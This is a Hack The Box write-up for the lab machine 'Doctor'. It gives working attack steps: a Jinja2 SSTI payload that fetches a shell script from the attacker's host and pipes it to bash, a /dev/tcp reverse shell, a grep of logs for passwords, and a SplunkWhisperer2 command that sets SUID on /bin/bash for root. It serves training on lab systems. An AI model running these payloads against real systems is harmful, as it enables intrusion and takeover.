writeup 2025-12-25 · 4 min read · updated 2026-09-16

Hack The Box Doctor Writeup

Easy Linux box. Jinja2 SSTI on a virtual host gives RCE, audit logs leak credentials for a user in adm, and SplunkWhisperer2 escalates to root.

Hack The Box Doctor Writeup

Summary

Doctor is a Linux machine on HackTheBox that begins with discovering a virtual host (doctors.htb) running a Flask web application with a registration/login portal. After creating an account, a hidden /archive endpoint is found via an HTML comment in the page source. This endpoint renders post titles as XML/RSS and is vulnerable to Jinja2 Server-Side Template Injection (SSTI) through the post title field. Exploiting SSTI yields a reverse shell as web-data. Horizontal privilege escalation to user shaun is achieved by leveraging www-data’s membership in the adm group to read Apache log files, where a password (Guitar123) was accidentally submitted in a password-reset email field. Finally, vertical escalation to root is performed by exploiting a Splunk Universal Forwarder service on port 8089 using shaun’s credentials and the SplunkWhisperer2 RCE tool to set the SUID bit on /bin/bash.

Web Server Enumeration

The home page for the web server indicates the use of a vhost “doctors.htb”. I enumerate for subdomains:

1
ffuf -u http://doctors.htb -w ~/hacking/tools/subdomains_combined.txt -H "Host: FUZZ.doctors.htb" -t 50

But I get no results back. It’s important to note how the default web server (when you access it via the direct IP) looks like this:

image.webp

While the one when accessed via the vhost looks completely different and asks me to sign in:

image.webp

I head to the register page (http://doctors.htb/register) and create an account with the credentials hacker:hacker:

image.webp

This grants me access to the application. I read the HTML source for the home page and find a suspicious HTML comment:

image.webp

More specifically:

1
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

I access it (http://doctors.htb/archive) but there’s nothing here yet. The page is blank, but I can see the HTML source:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>

This confirms the endpoint is working. I go back to the home page and use the navbar to access the “create new post” page (http://doctors.htb/post/new), creating one with title “test” and description “test”:

image.webp

If I access the archive now, I see my post is there:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>
	<item><title>test</title></item>

		</channel>

Clicking the title of my post directs me to its dedicated page (in this case, http://doctors.htb/post/2). Changing the ID to 1 lets me view posts from other users:

image.webp

I create a possible IDs wordlist:

1
seq 0 1000 > seq.txt

I use ffuf to try and find valid posts:

1
ffuf -u http://doctors.htb/post/FUZZ/update -H "Cookie: session=.eJwljksKAjEQBe-StYv0L0nPZYZOOo0iKMzoSry7AZf1KHj1SXsc87ym7XW85yXtN09bkuFszGEkE1UqsoJPmERDWLMCCBdqPccSLLzVCDIVdswx2IabQ_aBPQqqczOyokrePXNHlgrBIyoV7CCh2pEEpaAYq9WWVsj7nMe_BheO84j99bzPxxqgKRByTCvsrWmsV0dx9AKAkK3jYGRI3x-7mT5L.aU0vcg.Rb-xvuKLnKEuPq9NjC6BFC3q-DQ" -H "Content-Type: application/x-www-form-urlencoded" -w seq.txt

But I don’t find any other than the one post I just made.

Initial Access - RCE via Flask Jinja2 SSTI

I create a post with a very common SSTI payload ({{7*7}}):

image.webp

If the site renders this payload as an expression, evaluating 7*7 to 49, that means the app is vulnerable to SSTI. It doesn’t look vulnerable just from the post page, but taking a look at the archive page tells a different story:

image.webp

More specifically:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>
	<item><title>49</title></item>

		</channel>

You can see the 7*7 expression got evaluated to 49. The app is vulnerable to SSTI on the post’s “title” field, but you need to access the archive to trigger the execution.

I create “shell.sh” in my machine:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

I start up an HTTP server with Python:

1
sudo python3 -m http.server 80

And then I use the following SSTI payload to get a reverse shell:

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('setsid nohup curl 10.10.14.57/shell.sh|bash&').read() }}

So my posts look like this:

image.webp

As you can see from the screenshot below, I get a shell as “www-data”:

image.webp

Horizontal Privilege Escalation

The user “www-data” is a member of the “adm” group, which lets me read log files for different applications on the system. Among those logs, there may be cleartext credentials. I grep every file in /var/log for instances of “passwd”:

1
grep -ri passw /var/log

As you can see from the screenshot below, there’s one suspicious entry:

image.webp

More specifically:

1
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

It seems the user typed their password instead of their email in the reset password field. I can log in to the machine using these credentials:

1
2
Username: shaun
Password: Guitar123

Vertical Privilege Escalation

With credentials for “shaun”, I can now access the Splunk Forwarder instance running on port 8089. I use a well-known RCE exploit to escalate privileges to root.

1
python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --port 8089 --payload 'chmod +s /bin/bash' --username shaun --password Guitar123 --lhost 10.10.14.57 --lport 1234

This makes the root user, the one running Splunk Forwarder, change the permissions of /bin/bash by adding a SUID bit.

I verify the permission change from my session as “shaun”:

1
2
3
4
5
shaun@doctor:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
shaun@doctor:~$ /bin/bash -p
bash-5.0# id 
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.